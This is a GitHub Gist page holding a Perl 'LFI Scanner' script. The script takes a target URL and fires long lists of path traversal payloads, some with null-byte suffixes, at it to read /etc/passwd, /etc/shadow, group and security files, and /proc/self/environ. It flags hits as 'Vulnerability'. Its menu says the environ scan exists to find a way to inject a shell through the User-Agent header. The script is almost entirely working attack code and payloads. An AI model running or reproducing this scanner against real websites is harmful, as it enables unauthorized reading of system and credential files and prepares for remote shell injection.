Last active
May 22, 2019 05:11
-
-
Save Kaizen1337/99903f91f3ab0aa83dd10fab191233df to your computer and use it in GitHub Desktop.
LocalFile
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/perl | |
| use HTTP::Request; | |
| use LWP::UserAgent; | |
| system("title The JavaHaxor Group"); | |
| system("color 1e"); | |
| system ("cls"); | |
| print " |=======================================================|\n"; | |
| print " |= _ ______ _____ =|\n"; | |
| print " |= | | | ____|_ _| =|\n"; | |
| print " |= | | | |__ | | =|\n"; | |
| print " |= | | | __| | | SCANER V.2 =|\n"; | |
| print " |= | |____| | _| |_ PERL VERSION =|\n"; | |
| print " |= |______|_| |_____| =|\n"; | |
| print " |= >> Exploit database separated by exploit =|\n"; | |
| print " |= =|\n"; | |
| print " |= [!] Name : LFI Scanner Version 2.0 Perl =|\n"; | |
| print " |= [!] Author : Zaenal Arifin =|\n"; | |
| print " |= [!] Site: https://www.zaenalarifin.net/ =|\n"; | |
| print " |=======================================================|\n"; | |
| print "\n\n"; | |
| sleep (1); | |
| print "\t\t\t\t WELCOME PENTESTER :)\n"; | |
| print "\n\n"; | |
| menu:; | |
| print "\tMenu:\n"; | |
| print "\t ID [1] => Passwd,Log"; | |
| print "\t[Scan Files Of /etc/ Directory]\n"; | |
| print "\t ID [2] => Environ"; | |
| print "\t[Scan Environ File For Inject Shell By U-Agent]\n"; | |
| print"\n"; | |
| print "\t\t Select ID For Start Scanner :"; | |
| $menu = <>; | |
| if ($menu =~ /1/){ | |
| goto lfi; | |
| } | |
| if ($menu =~ /2/){ | |
| goto env; | |
| } | |
| else { | |
| print"\n\n"; | |
| print "\t\tUnknow Command\n"; | |
| goto menu; | |
| }; | |
| lfi:; | |
| print "\n\n"; | |
| print "\t\t\tWelcome To /etc/ Section With New Method\n\n"; | |
| print "\t Insert Target (ex: http://www.xxx.com/index.php?page=)\n"; | |
| print "\t Target :"; | |
| $host=<STDIN>; | |
| chomp($host); | |
| if($host !~ /http:\/\//) { $host = "http://$host"; }; | |
| print "\n\n"; | |
| print "\t\t*-*-*-*-*-* Start Scanning /etc/ Section *-*-*-*-*-*\n"; | |
| print "\n\n"; | |
| @lfi = ('../etc/passwd', | |
| '../../etc/passwd', | |
| '../../../etc/passwd', | |
| '../../../../etc/passwd', | |
| '../../../../../etc/passwd', | |
| '../../../../../../etc/passwd', | |
| '../../../../../../../etc/passwd', | |
| '../../../../../../../../etc/passwd', | |
| '../../../../../../../../../etc/passwd', | |
| '../../../../../../../../../../etc/passwd', | |
| '../../../../../../../../../../../etc/passwd', | |
| '../../../../../../../../../../../../etc/passwd', | |
| '../../../../../../../../../../../../../etc/passwd', | |
| '../../../../../../../../../../../../../../etc/passwd', | |
| '../../../../../../../../../../../../../../../../etc/passwd', | |
| '....//etc/passwd', | |
| '....//....//etc/passwd', | |
| '....//....//....//etc/passwd', | |
| '....//....//....//....//etc/passwd', | |
| '....//....//....//....//....//etc/passwd', | |
| '....//....//....//....//....//....//etc/passwd', | |
| '....//....//....//....//....//....//....//etc/passwd', | |
| '....//....//....//....//....//....//....//....//etc/passwd', | |
| '....//....//....//....//....//....//....//....//....//etc/passwd', | |
| '....//....//....//....//....//....//....//....//....//....//etc/passwd', | |
| '../../etc/passwd%00', | |
| '../../../etc/passwd%00', | |
| '../../../../etc/passwd%00', | |
| '../../../../../etc/passwd%00', | |
| '../../../../../../etc/passwd%00', | |
| '../../../../../../../etc/passwd%00', | |
| '../../../../../../../../etc/passwd%00', | |
| '../../../../../../../../../etc/passwd%00', | |
| '../../../../../../../../../../etc/passwd%00', | |
| '../../../../../../../../../../../etc/passwd%00', | |
| '../../../../../../../../../../../../etc/passwd%00', | |
| '../../../../../../../../../../../../../etc/passwd%00', | |
| '../../../../../../../../../../../../../../etc/passwd%00', | |
| '../../../../../../../../../../../../../../../../etc/passwd%00', | |
| '....//etc/passwd%00', | |
| '....//....//etc/passwd%00', | |
| '....//....//....//etc/passwd%00', | |
| '....//....//....//....//etc/passwd%00', | |
| '....//....//....//....//....//etc/passwd%00', | |
| '....//....//....//....//....//....//etc/passwd%00', | |
| '....//....//....//....//....//....//....//etc/passwd%00', | |
| '....//....//....//....//....//....//....//....//etc/passwd%00', | |
| '....//....//....//....//....//....//....//....//....//etc/passwd%00', | |
| '....//....//....//....//....//....//....//....//....//....//etc/passwd%00', | |
| '../etc/shadow', | |
| '../../etc/shadow', | |
| '../../../etc/shadow', | |
| '../../../../etc/shadow', | |
| '../../../../../etc/shadow', | |
| '../../../../../../etc/shadow', | |
| '../../../../../../../etc/shadow', | |
| '../../../../../../../../etc/shadow', | |
| '../../../../../../../../../etc/shadow', | |
| '../../../../../../../../../../etc/shadow', | |
| '../../../../../../../../../../../etc/shadow', | |
| '../../../../../../../../../../../../etc/shadow', | |
| '../../../../../../../../../../../../../etc/shadow', | |
| '../../../../../../../../../../../../../../etc/shadow', | |
| '../etc/shadow%00', | |
| '../../etc/shadow%00', | |
| '../../../etc/shadow%00', | |
| '../../../../etc/shadow%00', | |
| '../../../../../etc/shadow%00', | |
| '../../../../../../etc/shadow%00', | |
| '../../../../../../../etc/shadow%00', | |
| '../../../../../../../../etc/shadow%00', | |
| '../../../../../../../../../etc/shadow%00', | |
| '../../../../../../../../../../etc/shadow%00', | |
| '../../../../../../../../../../../etc/shadow%00', | |
| '../../../../../../../../../../../../etc/shadow%00', | |
| '../../../../../../../../../../../../../etc/shadow%00', | |
| '../../../../../../../../../../../../../../etc/shadow%00', | |
| '../etc/group', | |
| '../../etc/group', | |
| '../../../etc/group', | |
| '../../../../etc/group', | |
| '../../../../../etc/group', | |
| '../../../../../../etc/group', | |
| '../../../../../../../etc/group', | |
| '../../../../../../../../etc/group', | |
| '../../../../../../../../../etc/group', | |
| '../../../../../../../../../../etc/group', | |
| '../../../../../../../../../../../etc/group', | |
| '../../../../../../../../../../../../etc/group', | |
| '../../../../../../../../../../../../../etc/group', | |
| '../../../../../../../../../../../../../../etc/group', | |
| '../etc/group%00', | |
| '../../etc/group%00', | |
| '../../../etc/group%00', | |
| '../../../../etc/group%00', | |
| '../../../../../etc/group%00', | |
| '../../../../../../etc/group%00', | |
| '../../../../../../../etc/group%00', | |
| '../../../../../../../../etc/group%00', | |
| '../../../../../../../../../etc/group%00', | |
| '../../../../../../../../../../etc/group%00', | |
| '../../../../../../../../../../../etc/group%00', | |
| '../../../../../../../../../../../../etc/group%00', | |
| '../../../../../../../../../../../../../etc/group%00', | |
| '../../../../../../../../../../../../../../etc/group%00', | |
| '../etc/security/group', | |
| '../../etc/security/group', | |
| '../../../etc/security/group', | |
| '../../../../etc/security/group', | |
| '../../../../../etc/security/group', | |
| '../../../../../../etc/security/group', | |
| '../../../../../../../etc/security/group', | |
| '../../../../../../../../etc/security/group', | |
| '../../../../../../../../../etc/security/group', | |
| '../../../../../../../../../../etc/security/group', | |
| '../../../../../../../../../../../etc/security/group', | |
| '../etc/security/group%00', | |
| '../../etc/security/group%00', | |
| '../../../etc/security/group%00', | |
| '../../../../etc/security/group%00', | |
| '../../../../../etc/security/group%00', | |
| '../../../../../../etc/security/group%00', | |
| '../../../../../../../etc/security/group%00', | |
| '../../../../../../../../etc/security/group%00', | |
| '../../../../../../../../../etc/security/group%00', | |
| '../../../../../../../../../../etc/security/group%00', | |
| '../../../../../../../../../../../etc/security/group%00', | |
| '../etc/security/passwd', | |
| '../../etc/security/passwd', | |
| '../../../etc/security/passwd', | |
| '../../../../etc/security/passwd', | |
| '../../../../../etc/security/passwd', | |
| '../../../../../../etc/security/passwd', | |
| '../../../../../../../etc/security/passwd', | |
| '../../../../../../../../etc/security/passwd', | |
| '../../../../../../../../../etc/security/passwd', | |
| '../../../../../../../../../../etc/security/passwd', | |
| '../../../../../../../../../../../etc/security/passwd', | |
| '../../../../../../../../../../../../etc/security/passwd', | |
| '../../../../../../../../../../../../../etc/security/passwd', | |
| '../../../../../../../../../../../../../../etc/security/passwd', | |
| '../etc/security/passwd%00', | |
| '../../etc/security/passwd%00', | |
| '../../../etc/security/passwd%00', | |
| '../../../../etc/security/passwd%00', | |
| '../../../../../etc/security/passwd%00', | |
| '../../../../../../etc/security/passwd%00', | |
| '../../../../../../../etc/security/passwd%00', | |
| '../../../../../../../../etc/security/passwd%00', | |
| '../../../../../../../../../etc/security/passwd%00', | |
| '../../../../../../../../../../etc/security/passwd%00', | |
| '../../../../../../../../../../../etc/security/passwd%00', | |
| '../../../../../../../../../../../../etc/security/passwd%00', | |
| '../../../../../../../../../../../../../etc/security/passwd%00', | |
| '../../../../../../../../../../../../../../etc/security/passwd%00', | |
| '../etc/security/user', | |
| '../../etc/security/user', | |
| '../../../etc/security/user', | |
| '../../../../etc/security/user', | |
| '../../../../../etc/security/user', | |
| '../../../../../../etc/security/user', | |
| '../../../../../../../etc/security/user', | |
| '../../../../../../../../etc/security/user', | |
| '../../../../../../../../../etc/security/user', | |
| '../../../../../../../../../../etc/security/user', | |
| '../../../../../../../../../../../etc/security/user', | |
| '../../../../../../../../../../../../etc/security/user', | |
| '../../../../../../../../../../../../../etc/security/user', | |
| '../etc/security/user%00', | |
| '../../etc/security/user%00', | |
| '../../../etc/security/user%00', | |
| '../../../../etc/security/user%00', | |
| '../../../../../etc/security/user%00', | |
| '../../../../../../etc/security/user%00', | |
| '../../../../../../../etc/security/user%00', | |
| '../../../../../../../../etc/security/user%00', | |
| '../../../../../../../../../etc/security/user%00', | |
| '../../../../../../../../../../etc/security/user%00', | |
| '../../../../../../../../../../../etc/security/user%00', | |
| '../../../../../../../../../../../../etc/security/user%00', | |
| '../../../../../../../../../../../../../etc/security/user%00'); | |
| foreach $scan(@lfi){ | |
| $url = $host.$scan; | |
| $request = HTTP::Request->new(GET=>$url); | |
| $useragent = LWP::UserAgent->new(); | |
| $response = $useragent->request($request); | |
| if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerability;} | |
| else { $msg = "Not Infected";} | |
| print "$scan..........[$msg]\n"; | |
| } | |
| env:; | |
| print "\n\n"; | |
| print "\t\t\tWelcom To Environ Section\n\n"; | |
| print "\t Insert Target (ex: http://www.site.com/index.php?page=)\n"; | |
| print "\t Target :"; | |
| $host=<STDIN>; | |
| chomp($host); | |
| if($host !~ /http:\/\//) { $host = "http://$host"; }; | |
| print "\n\n"; | |
| print "\t\t*-*-*-*-*-* Start Scanning Environ *-*-*-*-*-*\n"; | |
| print "\n\n"; | |
| @env = ('../proc/self/environ', | |
| '../../proc/self/environ', | |
| '../../../proc/self/environ', | |
| '../../../../proc/self/environ', | |
| '../../../../../proc/self/environ', | |
| '../../../../../../proc/self/environ', | |
| '../../../../../../../proc/self/environ', | |
| '../../../../../../../../proc/self/environ', | |
| '../../../../../../../../../proc/self/environ', | |
| '../../../../../../../../../../proc/self/environ', | |
| '../../../../../../../../../../../proc/self/environ', | |
| '../../../../../../../../../../../../proc/self/environ', | |
| '../../../../../../../../../../../../../proc/self/environ', | |
| '../../../../../../../../../../../../../../proc/self/environ', | |
| '../proc/self/environ%00', | |
| '../../proc/self/environ%00', | |
| '../../../proc/self/environ%00', | |
| '../../../../proc/self/environ%00', | |
| '../../../../../proc/self/environ%00', | |
| '../../../../../../proc/self/environ%00', | |
| '../../../../../../../proc/self/environ%00', | |
| '../../../../../../../../proc/self/environ%00', | |
| '../../../../../../../../../proc/self/environ%00', | |
| '../../../../../../../../../../proc/self/environ%00', | |
| '../../../../../../../../../../../proc/self/environ%00', | |
| '../../../../../../../../../../../../proc/self/environ%00', | |
| '../../../../../../../../../../../../../proc/self/environ%00', | |
| '../../../../../../../../../../../../../../proc/self/environ%00'); | |
| foreach $scan_env(@env){ | |
| $url = $host.$scan_env; | |
| $request = HTTP::Request->new(GET=>$url); | |
| $useragent = LWP::UserAgent->new(); | |
| $response = $useragent->request($request); | |
| if ($response->is_success && $response->content =~ /HTTP_ACCEPT/ && $response->content =~ /HTTP_HOST/) { $msg = Vulnerability;} | |
| else { $msg = "Not Infected";} | |
| print "$scan_env..........[$msg]\n"; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment